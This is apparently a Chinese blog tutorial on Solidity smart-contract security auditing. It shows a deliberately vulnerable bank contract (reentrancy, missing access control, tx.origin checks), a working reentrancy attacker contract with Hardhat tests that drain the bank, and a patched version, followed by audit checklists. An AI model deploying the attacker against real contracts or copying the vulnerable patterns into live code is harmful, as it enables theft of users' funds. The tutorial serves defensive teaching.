跳转到内容
123xiao | 无名键客

《区块链智能合约安全审计实战:以 Solidity 常见漏洞排查与修复为主线》

字数: 0 阅读时长: 1 分钟

背景与问题

智能合约一旦部署到链上,最大的特点不是“自动执行”,而是“很难回滚”。这也是为什么很多团队在功能开发跑通后,真正危险的阶段才刚开始:安全审计

我自己做合约排查时,最常见的场景不是“写不出来”,而是:

  • 功能看起来没问题,但存在可利用的资金风险
  • 单元测试都绿了,上链后却被重入、权限配置或价格操纵击穿
  • 修一个漏洞时,又顺手引入了新的业务缺陷

这篇文章不打算只列漏洞清单,而是按**“现象复现 → 定位路径 → 修复方案 → 最佳实践”**来走一遍。主线放在 Solidity 中最常见、也最容易在审计里遇到的几类问题:

  • 重入攻击
  • 权限控制缺失
  • tx.origin 误用
  • 整数/业务边界问题
  • 外部调用返回值与 DoS 风险

目标读者默认有一定 Solidity 基础,知道合约、函数、modifier、事件这些概念,但还没系统做过安全排查。


背景案例:为什么“能跑”不等于“安全”

先说一个很典型的误区:很多开发者把“测试通过”理解成“合约安全”。

实际上二者差很远:

  • 功能测试关注的是“预期路径
  • 安全审计关注的是“非预期路径

比如一个提款函数,正常用户调用当然能成功;但攻击者会思考:

  1. 能不能在余额扣减前重复调用?
  2. 能不能通过另一个合约伪装成用户?
  3. 能不能利用 gas 限制让别人提现失败?
  4. 能不能通过异常返回值让逻辑悄悄失效?

所以安全审计本质上是在回答两个问题:

  • 谁可以调用?
  • 调用过程中,状态和资产会不会被异常改变?

核心原理

在 Solidity 审计里,我通常先从三个维度切:

1. 资产流

也就是钱怎么进、怎么出、谁能改余额。

重点关注:

  • payable 函数
  • call / delegatecall / staticcall
  • 提现、转账、奖励发放、清算
  • ERC20/ERC721 的外部交互

2. 权限流

谁有权做什么,权限是否能被绕过。

重点关注:

  • onlyOwner、角色控制
  • 初始化函数是否可重复调用
  • 升级权限是否集中
  • 管理员操作是否缺少延迟或事件记录

3. 状态流

状态变化是否符合预期顺序,是否能被中途打断或重入。

重点关注:

  • 先转账还是先改状态
  • 循环中是否依赖外部调用
  • 是否存在“部分执行成功、部分失败”的中间态
  • 多函数组合是否形成攻击面

下面这张图可以概括一次基础审计的排查路径。

flowchart TD
    A[阅读业务逻辑] --> B[识别资产入口与出口]
    B --> C[梳理关键状态变量]
    C --> D[检查权限控制]
    D --> E[检查外部调用点]
    E --> F[模拟异常路径与攻击路径]
    F --> G[给出修复与回归测试]

现象复现:一个故意带洞的简单银行合约

为了把问题讲透,我们先放一个可运行但不安全的示例。这个合约有几个常见漏洞,适合做排查练习。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableBank {
    mapping(address => uint256) public balances;
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "insufficient balance");

        // 漏洞1:先外部调用,再更新状态,可能被重入
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");

        balances[msg.sender] -= amount;
    }

    function emergencyWithdrawAll(address payable to) external {
        // 漏洞2:没有权限控制,任何人都能提走全部资金
        to.transfer(address(this).balance);
    }

    function transferOwnership(address newOwner) external {
        // 漏洞3:使用 tx.origin 做权限判断
        require(tx.origin == owner, "not owner");
        owner = newOwner;
    }

    receive() external payable {}
}

从代码上看,它能编译、能收款、能提现、甚至还能转移所有权。但从安全视角,它已经足够危险。


实战代码(可运行)

下面我用 Hardhat 风格给出一套最小复现。你可以把它直接放到项目里测试。

1. 攻击合约:利用重入提款

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IVulnerableBank {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

contract ReentrancyAttacker {
    IVulnerableBank public target;
    uint256 public attackAmount;
    address public owner;

    constructor(address _target) {
        target = IVulnerableBank(_target);
        owner = msg.sender;
    }

    function attack() external payable {
        require(msg.sender == owner, "not owner");
        require(msg.value >= 1 ether, "need >= 1 ether");

        attackAmount = 1 ether;
        target.deposit{value: 1 ether}();
        target.withdraw(1 ether);
    }

    receive() external payable {
        if (address(target).balance >= attackAmount) {
            target.withdraw(attackAmount);
        }
    }

    function collect() external {
        require(msg.sender == owner, "not owner");
        payable(owner).transfer(address(this).balance);
    }
}

2. 修复后的安全版本

这里先用最经典的 Checks-Effects-Interactions 模式修复,同时补上权限控制。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract SafeBank {
    mapping(address => uint256) public balances;
    address public owner;
    bool private locked;

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    modifier nonReentrant() {
        require(!locked, "reentrant call");
        locked = true;
        _;
        locked = false;
    }

    constructor() {
        owner = msg.sender;
    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount, "insufficient balance");

        // 先改状态,再外部交互
        balances[msg.sender] -= amount;

        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
    }

    function emergencyWithdrawAll(address payable to) external onlyOwner {
        (bool ok, ) = to.call{value: address(this).balance}("");
        require(ok, "withdraw all failed");
    }

    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "zero address");
        owner = newOwner;
    }

    receive() external payable {}
}

3. 测试脚本示例

下面给一个 Hardhat 测试示例,帮助你验证攻击是否成立。

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("VulnerableBank", function () {
  it("should be drained by reentrancy attacker", async function () {
    const [deployer, user, attackerEOA] = await ethers.getSigners();

    const Bank = await ethers.getContractFactory("VulnerableBank", deployer);
    const bank = await Bank.deploy();
    await bank.waitForDeployment();

    await bank.connect(user).deposit({ value: ethers.parseEther("5") });

    const Attacker = await ethers.getContractFactory("ReentrancyAttacker", attackerEOA);
    const attacker = await Attacker.deploy(await bank.getAddress());
    await attacker.waitForDeployment();

    await attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") });

    const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
    expect(bankBalance).to.equal(0n);
  });

  it("safe bank should resist reentrancy", async function () {
    const [deployer, user, attackerEOA] = await ethers.getSigners();

    const Bank = await ethers.getContractFactory("SafeBank", deployer);
    const bank = await Bank.deploy();
    await bank.waitForDeployment();

    await bank.connect(user).deposit({ value: ethers.parseEther("5") });

    const Attacker = await ethers.getContractFactory("ReentrancyAttacker", attackerEOA);
    const attacker = await Attacker.deploy(await bank.getAddress());
    await attacker.waitForDeployment();

    await expect(
      attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") })
    ).to.be.reverted;
  });
});

漏洞定位路径:审计时我会怎么查

如果我拿到的是一个陌生项目,通常不会从第一行开始“逐字看完”,而是按风险高低做定位。

sequenceDiagram
    participant Auditor as 审计者
    participant Contract as 目标合约
    participant External as 外部合约/用户
    Auditor->>Contract: 标记 payable / 外部调用 / 权限函数
    Auditor->>Contract: 检查余额与状态变量写入点
    Auditor->>External: 模拟恶意回调与异常返回
    External-->>Contract: 重入 / 伪造调用 / 返回 false
    Auditor->>Contract: 验证是否存在状态不一致
    Auditor->>Contract: 提出修复方案与回归用例

一个很实用的排查清单如下:

第一步:找所有外部调用点

搜索:

  • .call(
  • .delegatecall(
  • .transfer(
  • .send(
  • 接口调用,如 token.transfer(...)

这些地方都要问一句:外部调用失败怎么办?回调会不会影响当前状态?

第二步:找关键状态写入顺序

例如:

  • 余额扣减
  • 债务更新
  • 股份销毁
  • 白名单变更
  • 所有权变更

核心不是看“有没有写”,而是看“先写还是后写”。

第三步:找权限函数

像下面这种函数都要重点盯:

  • setAdmin
  • mint
  • upgradeTo
  • pause
  • withdrawAll
  • rescueTokens

这些函数如果权限模型有问题,后果通常比普通 bug 更严重。


常见坑与排查

下面按“现象—原因—修复”来讲几类最常见问题。

1. 重入攻击

现象

  • 单个用户余额不大,却能多次提出资金
  • 合约总余额下降异常
  • 某次提现交易消耗 gas 高但持续嵌套调用

根因

在外部转账后才更新状态,攻击合约通过 receive()fallback() 回调,再次进入原函数。

有问题的模式

function withdraw(uint256 amount) external {
    require(balances[msg.sender] >= amount, "insufficient");
    (bool ok, ) = msg.sender.call{value: amount}("");
    require(ok, "failed");
    balances[msg.sender] -= amount;
}

修复方式

  • 先检查、再更新状态、最后交互 的顺序写
  • 对敏感函数加 nonReentrant
  • 能使用 pull payment 就不要 push payment

止血方案

如果线上已经发现异常:

  1. 立即暂停提现入口(前提是有 pause 机制)
  2. 关闭高风险外部调用
  3. 快照资产状态,评估受影响账户
  4. 如果是可升级合约,尽快升级逻辑并补回归测试

2. 权限控制缺失或过宽

现象

  • 任意地址都能调用管理函数
  • 配置参数被恶意改写
  • 合约资金可被直接转走

根因

忘记加 onlyOwner、角色控制过于粗糙,或者初始化逻辑可被二次调用。

有问题的模式

function emergencyWithdrawAll(address payable to) external {
    to.transfer(address(this).balance);
}

修复方式

  • 明确角色:owneradminoperator
  • 敏感函数必须加访问控制
  • 高权限操作增加事件、延迟执行、多签治理

实用建议

很多团队只做了“有管理员”,但没做“管理员误操作防护”。审计时别只看能不能挡住攻击者,也要看能不能挡住自己人失误。


3. tx.origin 误用

现象

  • 看似做了权限校验,但仍可能被钓鱼合约利用
  • 用户通过中间合约调用时,权限判断出现偏差

根因

tx.origin 表示整条交易链路的最初发起者,而不是当前直接调用者。攻击者可以诱导 owner 先调用恶意合约,再由恶意合约转调目标合约。

错误示例

require(tx.origin == owner, "not owner");

修复方式

始终用:

require(msg.sender == owner, "not owner");

定位技巧

全局搜索 tx.origin。在绝大多数业务合约里,它几乎都应该被视为危险信号。


4. 外部调用返回值处理不当

现象

  • 逻辑表面执行成功,但资产没真正转出
  • ERC20 操作静默失败
  • 某些代币兼容性异常

根因

并不是所有 Token 都严格遵循标准,有的会返回 false,有的直接 revert,还有的根本不返回布尔值。

风险代码

token.transfer(to, amount);

如果你不检查返回值,就可能以为转账成功了。

修复方式

  • 使用 OpenZeppelin 的 SafeERC20
  • 对低级调用显式检查返回值
  • 对异常代币做兼容测试

5. 循环中的 DoS 风险

现象

  • 用户数量一多,批量分发/批量结算函数就执行失败
  • gas 超限导致关键操作不可用

根因

在一个交易里处理无限增长数组,或者循环中夹杂外部调用。

有问题的思路

function distribute() external {
    for (uint256 i = 0; i < users.length; i++) {
        payable(users[i]).transfer(rewards[users[i]]);
    }
}

修复方式

  • 改成用户主动领取(pull)
  • 分批处理,增加分页参数
  • 不要在循环里做高风险外部调用

6. 业务边界与精度问题

虽然 Solidity 0.8+ 已经默认检查整数溢出,但这不代表“数值问题”消失了。

常见表现

  • 手续费四舍五入误差导致资金长期偏移
  • 抵押率计算先除后乘,结果精度丢失
  • 价格预言机单位不统一

排查点

  • 乘除顺序是否合理
  • 是否统一使用 1e181e6 等精度
  • 最小值、最大值、零值是否做校验
  • 是否可能被“尘埃金额”反复利用

安全修复的设计思路

修复漏洞不是“把报错补掉”那么简单,更重要的是避免修出新问题。下面这张状态图能帮助理解一个安全提现流程。

stateDiagram-v2
    [*] --> 检查余额
    检查余额 --> 更新内部状态: 余额充足
    检查余额 --> [*]: 余额不足
    更新内部状态 --> 外部转账
    外部转账 --> 完成: 转账成功
    外部转账 --> 回滚: 转账失败
    回滚 --> [*]
    完成 --> [*]

关键点就一句话:

先把合约内部状态变成“即使外部失败也不会被攻击”的样子,再做外部交互。


常见坑与排查:审计时容易漏掉的细节

这里补几个我见过很多次、但经常在初次审计里被忽略的点。

1. receive() / fallback() 是否必要

如果合约不需要直接接收 ETH,却开放了 receive(),那就要问:

  • 这笔钱进来后是否有记账?
  • 是否会造成“合约余额”和“业务余额”不一致?
  • 是否有人能通过强制转账影响逻辑判断?

2. 零地址校验

像转移所有权、设置管理员、设置外部依赖合约地址时,如果不校验零地址,轻则功能失效,重则权限永久丢失。

require(newOwner != address(0), "zero address");

3. 事件日志是否完备

严格说这不一定是“漏洞”,但对排障非常关键。敏感操作没有事件,线上出问题时会非常难追。

建议至少为这些操作发事件:

  • 存款/提款
  • 所有权变更
  • 参数更新
  • 紧急暂停/恢复
  • 管理员提走资金

4. 升级合约的存储布局

如果是代理模式合约,升级时要额外检查:

  • 新老版本变量顺序是否兼容
  • 是否误删/重排状态变量
  • 初始化函数是否可被重复执行

这类问题不一定被攻击者利用,但很容易把业务直接升级坏。


安全/性能最佳实践

这一部分给出更偏工程化的建议,适合真正落地。

1. 优先使用成熟库

不要自己重复造轮子,尤其是安全相关模块。

推荐优先考虑:

  • OpenZeppelin Ownable
  • OpenZeppelin AccessControl
  • OpenZeppelin ReentrancyGuard
  • OpenZeppelin Pausable
  • OpenZeppelin SafeERC20

自己手写不是不行,但意味着你也要自己承担审计成本。

2. 按风险级别设计权限

不是所有后台操作都该归一个 owner

建议至少拆成:

  • owner:治理级、最高权限
  • operator:日常参数维护
  • guardian:紧急暂停

这样既能降低单点风险,也方便事后追责和审计。

3. 避免把业务可用性建立在单次全量循环上

从性能上讲,链上最怕“随着用户数增长而线性膨胀”的逻辑。

更稳妥的方式是:

  • 用户自助领取奖励
  • 按页处理数据
  • 用事件配合链下索引,而不是链上大数组遍历

4. 测试不仅测成功路径,也测攻击路径

我通常会要求至少补这些测试:

  • 重入攻击测试
  • 非 owner 调用敏感函数测试
  • 零地址参数测试
  • 外部调用失败测试
  • 边界金额测试
  • 暂停状态测试

5. 保留止血机制,但别让它变后门

pauserescueTokenemergencyWithdraw 这些函数确实能救命,但前提是:

  • 权限足够严格
  • 行为可审计
  • 有事件记录
  • 最好受多签控制

否则“紧急函数”本身就会成为最大的风险点。


一份可执行的审计排查清单

如果你要对一个 Solidity 项目做一次快速安全体检,可以按这个顺序来:

flowchart LR
    A[找资产相关函数] --> B[找外部调用点]
    B --> C[检查状态更新顺序]
    C --> D[检查权限修饰器]
    D --> E[检查零地址/边界值]
    E --> F[检查循环与gas风险]
    F --> G[补攻击测试与回归测试]

对应的简化问题清单:

  1. 钱从哪进、从哪出?
  2. 谁能改钱、改参数、改权限?
  3. 外部调用之前是否已更新状态?
  4. 是否用了 tx.origin
  5. 是否存在无限循环或批量操作?
  6. 是否检查返回值和异常路径?
  7. 是否有暂停与应急方案?
  8. 修复后有没有对应测试?

总结

智能合约安全审计最怕两种情况:

  • 只看语法和编译,不看攻击路径
  • 只会背漏洞名词,不会顺着资金流和状态流去排查

这篇文章用一个简单银行合约串起了几类高频问题:重入、权限缺失、tx.origin 误用、返回值处理、DoS 和边界问题。如果你要把它变成实际工作方法,我建议就记住这三件事:

  1. 先找资产流,再找权限流,最后看状态流
  2. 凡是外部调用,都默认它可能失败或恶意回调
  3. 修复漏洞后,一定补攻击测试,不要只补业务测试

边界条件也要说清楚:本文聚焦的是 Solidity 常见基础漏洞排查,不展开预言机操纵、MEV、治理攻击、跨链桥等更复杂议题。但只要你把文中的排查思路用熟,已经能覆盖相当一部分日常审计场景。

如果你正在维护线上合约,我的建议很直接:

  • 先把高风险函数列出来
  • 逐个检查权限和外部调用顺序
  • 给关键路径补一组“攻击型测试”
  • 能上成熟安全库的,尽量别手写

很多事故并不是因为漏洞“太高级”,而是因为最基础的问题没人真正复盘过。安全审计这件事,越早做,越便宜。


分享到:

上一篇
《从 0 理解Java 中基于 CompletableFuture 与线程池的异步任务编排实战:性能优化、异常处理与可观测性设计:原理、流程与实战》
下一篇
《从源码到部署:基于 MinIO 搭建企业级开源对象存储服务的实践指南》